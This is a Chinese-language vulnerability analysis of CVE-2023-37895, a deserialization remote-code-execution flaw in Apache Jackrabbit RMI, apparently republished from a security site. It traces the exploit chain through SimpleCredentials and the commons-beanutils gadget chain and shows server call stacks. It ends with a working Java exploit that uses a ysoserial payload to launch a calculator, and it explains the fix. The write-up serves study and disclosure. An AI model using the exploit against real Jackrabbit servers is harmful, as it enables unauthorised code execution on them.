Apache Jackrabbit RMI 远程代码执行漏洞分析(CVE-2023-37895)

admin 2023年11月28日13:08:45评论25 views字数 10292阅读34分18秒阅读模式

简介

Apache Jackrabbit™ 内容存储库是完全符合 Java 技术 API 内容存储库(JCR,在 JSR 170 和 JSR 283 中指定)的实现。
内容存储库是一个分层内容存储库,支持结构化和非结构化内容、全文搜索、版本管理、事务、观察等。

使用

要访问远程内容存储库,需要在应用程序中使用 jackrabbit-jcr-rmi 组件

<dependency>
<groupId>javax.jcr</groupId>
<artifactId>jcr</artifactId>
<version>1.0</version>
</dependency>
<dependency>
<groupId>org.apache.jackrabbit</groupId>
<artifactId>jackrabbit-jcr-rmi</artifactId>
<version>1.4</version>
</dependency>

使用 RMI registry访问版本库所需的代码是

import javax.jcr.Repository;
import org.apache.jackrabbit.rmi.repository.RMIRemoteRepository;

Repository repository =
new RMIRemoteRepository("//localhost/jackrabbit.repository");

或者使用URLRemoteRepository

import javax.jcr.Repository;
import org.apache.jackrabbit.rmi.repository.URLRemoteRepository;

Repository repository =
new URLRemoteRepository("http://localhost:8090/jackrabbit_webapp_war_exploded/rmi");

漏洞详情

在Apache Jackrabbit webapp和standalone中使用了commons-beanutils组件,该组件包含一个可用于通过 RMI 远程执行代码的类。攻击者可利用该组件构造恶意的序列化对象,发送到服务端的RMI服务端口或者Web服务的/rmi路径,目标服务器对恶意对象反序列化导致RCE
https://nvd.nist.gov/vuln/detail/CVE-2023-37895

影响版本

1.0.0 <= apache:jackrabbit < 2.20.11
2.21.0 <= apache:jackrabbit < 2.21.18

利用链

远程调用ServerRipository.login()方法
反序列化SimpleCredentials对象Attribute属性
HashMap.readObject()
CB链

漏洞环境及利用

下载Apache Jackrabbit 2.20.10,编译并使用Tomcat部署
https://github.com/apache/jackrabbit/releases/tag/jackrabbit-2.20.10
客户端使用下面EXP,运行即可导致服务端RCE,弹出计算器

漏洞分析

在web.xml存在/rmi路由对应的Servlet

<servlet>
<servlet-name>RMI</servlet-name>
<servlet-class>org.apache.jackrabbit.servlet.remote.RemoteBindingServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>RMI</servlet-name>
<url-pattern>/rmi</url-pattern>
</servlet-mapping>

根据对应的servelet-class,可以找到对应的类org.apache.jackrabbit.servlet.remote.RemoteBindingServlet,这个类继承HttpServlet,负责对相关请求的处理,其doGet方法如下:

protected void doGet(
HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("application/octet-stream");
ObjectOutputStream output =
new ObjectOutputStream(response.getOutputStream());
// 调用 getRemoteRepository() 方法获取到的远程存储库对象进行序列化,并将序列化后的对象写入输出流
// RemoteObject.toStub() 方法用于将远程对象转换为远程引用的 Stub 对象,以便进行传输
output.writeObject(RemoteObject.toStub(getRemoteRepository()));
output.flush();
}

这段代码的作用是将远程存储库对象进行序列化,并将序列化后的对象以二进制流的形式作为响应发送给客户端.

进入getRemoteRepository方法详细查看

protected RemoteRepository getRemoteRepository() throws ServletException {
if (remote == null) {
try {
// 获取一个 RemoteAdapterFactory 对象
// RemoteAdapterFactory 是一个工厂类,用于创建远程存储库的适配器
RemoteAdapterFactory factory = getRemoteAdapterFactory();
// 之后调用getRemoteRepository方法创建ServerRepository对象
remote = factory.getRemoteRepository(new ServletRepository(this));
} catch (RemoteException e) {
throw new ServletException(
"Failed to create the remote repository reference", e);
}
}
return remote;
}

进入ServerAdapterFactory的getRemoteRepository方法

public RemoteRepository getRemoteRepository(Repository repository)
throws RemoteException {
return new ServerRepository(repository, this);
}

返回remote

Apache Jackrabbit RMI 远程代码执行漏洞分析(CVE-2023-37895)

在RemoteObject.toStub方法中将远程对象转换为远程引用的 Stub 对象

public static Remote toStub(Remote obj) throws NoSuchObjectException {
if (obj instanceof RemoteStub ||
(obj != null &&
Proxy.isProxyClass(obj.getClass()) &&
Proxy.getInvocationHandler(obj) instanceof
RemoteObjectInvocationHandler))
{
return obj;
} else {
return sun.rmi.transport.ObjectTable.getStub(obj);
}
}

Apache Jackrabbit RMI 远程代码执行漏洞分析(CVE-2023-37895)


最后使用writeObject将其传输给客户端

客户端拿到Repository对象后,调用其login方法

public Session login(Credentials credentials) throws RepositoryException {
return this.login(credentials, (String)null);
}

进入重载方法

public Session login(Credentials credentials, String workspace) throws RepositoryException {
return this.factory.getRepository().login(credentials, workspace);
}

Apache Jackrabbit RMI 远程代码执行漏洞分析(CVE-2023-37895)


通过getRepository获取的是ClientRepository对象,调用其login方法
这段代码是一个 login() 方法的实现,用于通过提供的凭据和工作空间登录到远程存储库,并返回一个会话(Session)对象

public Session login(Credentials credentials, String workspace) throws RepositoryException {
try {
// 调用 remote 对象的 login() 方法来进行远程登录。
// remote 是一个远程存储库对象(RemoteRepository),通过调用其 login() 方法,使用提供的凭据和工作空间进行登录操作。
// 返回值是一个远程会话对象(RemoteSession)
RemoteSession session = this.remote.login(credentials, workspace);
// 创建一个本地会话对象
return this.factory.getSession(this, session);
} catch (RemoteException var4) {
throw new RemoteRepositoryException(var4);
}
}

Apache Jackrabbit RMI 远程代码执行漏洞分析(CVE-2023-37895)

ServerRepository的login方法

public RemoteSession login(Credentials credentials, String workspace)
throws RepositoryException, RemoteException {
try {
// 调用 repository 对象的 login() 方法来进行登录操作
Session session = repository.login(credentials, workspace);
return getFactory().getRemoteSession(session);
} catch (RepositoryException ex) {
throw getRepositoryException(ex);
}
}

这里的关键点是credentials是通过客户端传递过来的,而Credentials接口继承了Serializable接口

package javax.jcr;

import java.io.Serializable;

public interface Credentials extends Serializable {
}

因此可以构造特殊的Credentials对象,从而在该对象反序列化过程中执行任意代码
这里可以找到一个Credentials子类SimpleCredentials,它继承了Credentials,与此同时,它的attributes属性是一个HashMap对象

public final class SimpleCredentials implements Credentials {
private final String userID;
private final char[] password;
private final HashMap attributes = new HashMap();

public SimpleCredentials(String userID, char[] password) {
this.userID = userID;
this.password = (char[])((char[])password.clone());
}
// ....
}

存在一个公有方法设置attributes属性

public void setAttribute(String name, Object value) {
if (name == null) {
throw new IllegalArgumentException("name cannot be null");
} else if (value == null) {
this.removeAttribute(name);
} else {
synchronized(this.attributes) {
this.attributes.put(name, value);
}
}
}

这里的value设置成恶意的对象,能够在反序列化的过程中触发RCE,具体设置成什么,则需要在Apache Jackrabbit寻找其他可利用的链

在整个项目web模块的maven配置文件中添加了如下依赖:

<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
</dependency>

所以这里可以尝试使用CB链来构造恶意对象

接下来的过程就是调用远程ServerRepository的login方法,其参数是构造的恶意SimpleCredentials,其过程是服务端开启了一个RMI服务,客户端调用该服务并发送恶意对象,服务端反序列化恶意对象,触发RCE
具体可参考https://xz.aliyun.com/t/12780#toc-7

服务端对客户端传递的数据经过解包、反序列化后导致命令执行

Apache Jackrabbit RMI 远程代码执行漏洞分析(CVE-2023-37895)

来到unmarshalValue,它用于从 ObjectInput 流中反序列化一个对象

protected static Object unmarshalValue(Class<?> var0, ObjectInput var1) throws IOException, ClassNotFoundException {
if (var0.isPrimitive()) {
if (var0 == Integer.TYPE) {
return var1.readInt();
} else if (var0 == Boolean.TYPE) {
return var1.readBoolean();
} else if (var0 == Byte.TYPE) {
return var1.readByte();
} else if (var0 == Character.TYPE) {
return var1.readChar();
} else if (var0 == Short.TYPE) {
return var1.readShort();
} else if (var0 == Long.TYPE) {
return var1.readLong();
} else if (var0 == Float.TYPE) {
return var1.readFloat();
} else if (var0 == Double.TYPE) {
return var1.readDouble();
} else {
throw new Error("Unrecognized primitive type: " + var0);
}
} else {
// 这里
return var1.readObject();
}
}

Apache Jackrabbit RMI 远程代码执行漏洞分析(CVE-2023-37895)

接下来的过程就是对SimpleCredentials进行反序列化及CB链的过程,不详细展开。

函数调用栈

来自于服务端:

exec:347, Runtime (java.lang)
<clinit>:-1, Pwner530015546783700 (ysoserial)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeMethod:2128, PropertyUtilsBean (org.apache.commons.beanutils)
getSimpleProperty:1279, PropertyUtilsBean (org.apache.commons.beanutils)
getNestedProperty:809, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:885, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:464, PropertyUtils (org.apache.commons.beanutils)
compare:163, BeanComparator (org.apache.commons.beanutils)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
readObject:1396, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
defaultReadFields:2000, ObjectInputStream (java.io)
readSerialData:1924, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
unmarshalValue:326, UnicastRef (sun.rmi.server)
dispatch:308, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$256:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 565051120 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$23)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

EXP

package org.example;

import org.apache.jackrabbit.rmi.repository.URLRemoteRepository;
import ysoserial.payloads.ObjectPayload;

import javax.jcr.SimpleCredentials;


public class App
{
public static void main( String[] args ) throws Exception {
Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass("CommonsBeanutils1");
ObjectPayload payload = (ObjectPayload)payloadClass.newInstance();
Object object = payload.getObject("calc");

SimpleCredentials simpleCredentials = new SimpleCredentials("admin", "admin".toCharArray());
simpleCredentials.setAttribute("admin", object);

URLRemoteRepository repository = new URLRemoteRepository("http://localhost:8090/jackrabbit_webapp_war_exploded/rmi");
repository.login(simpleCredentials);
}
}

漏洞修复

在版本2.20.10和2.20.11的对比中,maven配置中删除了commons-beanutils依赖
https://github.com/apache/jackrabbit/compare/jackrabbit-2.20.10...jackrabbit-2.20.11

Apache Jackrabbit RMI 远程代码执行漏洞分析(CVE-2023-37895)

来源:https://xz.aliyun.com/ 感谢【Dili 

原文始发于微信公众号(衡阳信安):Apache Jackrabbit RMI 远程代码执行漏洞分析(CVE-2023-37895)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月28日13:08:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache Jackrabbit RMI 远程代码执行漏洞分析(CVE-2023-37895)http://cn-sec.com/archives/2246034.html

发表评论

匿名网友 填写信息